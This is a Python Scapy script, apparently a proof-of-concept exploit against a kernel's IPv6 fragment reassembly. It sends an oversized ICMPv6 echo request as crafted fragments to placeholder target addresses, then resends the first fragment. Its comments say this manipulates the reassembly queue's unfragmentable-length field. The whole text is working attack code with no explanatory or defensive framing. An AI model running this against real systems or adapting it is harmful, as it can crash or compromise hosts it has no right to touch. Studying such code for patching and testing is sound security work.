# This software is licensed under the GNU Affero General Public License (AGPL) version 3.0 or later. # For more details, see . from scapy import all as sp import sys import random as rn iface = sys.argv[1] src_mac = sp.get_if_hwaddr(iface) dst_mac = "XXX" src_ip = "XXX" dst_ip = "XXX" eth = sp.Ether(src=src_mac, dst=dst_mac) p6 = sp.IPv6(src=src_ip, dst=dst_ip) frag_size = 0x500 ident = rn.randint(0, 0x1_0000) data = 'a' * (0xffff - 8) orig_p6 = (p6 / sp.ICMPv6EchoRequest(id=ident, data=data)).build() orig_p6 = sp.IPv6(orig_p6) # payload pl = orig_p6[1] pl_size = len(pl) pl_buf = pl.build() num_frag = pl_size // frag_size # last fragment lfrag_size = pl_size % frag_size print(pl, pl_size, num_frag, lfrag_size) fragh = sp.IPv6ExtHdrFragment(m=1, id=ident, nh=orig_p6.nh) def frag(to_frag, offset, size): return to_frag[offset : offset + size] def send_frag(payload, offset, m, mid=None): fragh.m = m fragh.offset = offset pkt = eth / p6 if mid is not None: pkt /= mid pkt /= fragh / payload sp.sendp(pkt, iface=iface, count=1, verbose=0) fm = 1 for i in range(num_frag): if not lfrag_size and i == num_frag - 1: # last index li = i continue foff = i * frag_size // 8 frag_pl = frag(pl_buf, i*frag_size, frag_size) if i == 0: # q6->ip6q_unfrglen > 0 send_frag(frag_pl, foff, fm, sp.IPv6ExtHdrDestOpt(options=sp.PadN(optdata=b'\x00'*100))) continue send_frag(frag_pl, foff, fm) # update q6->ip6q_unfrglen while keeping ip6af_offset of the first fragment # unchanged frag_pl = frag(pl_buf, 0, frag_size) send_frag(frag_pl, 0, 1) if lfrag_size: li = num_frag fm = 0 foff = frag_size * li // 8 frag_pl = frag(pl_buf, li*frag_size, lfrag_size) send_frag(frag_pl, foff, fm)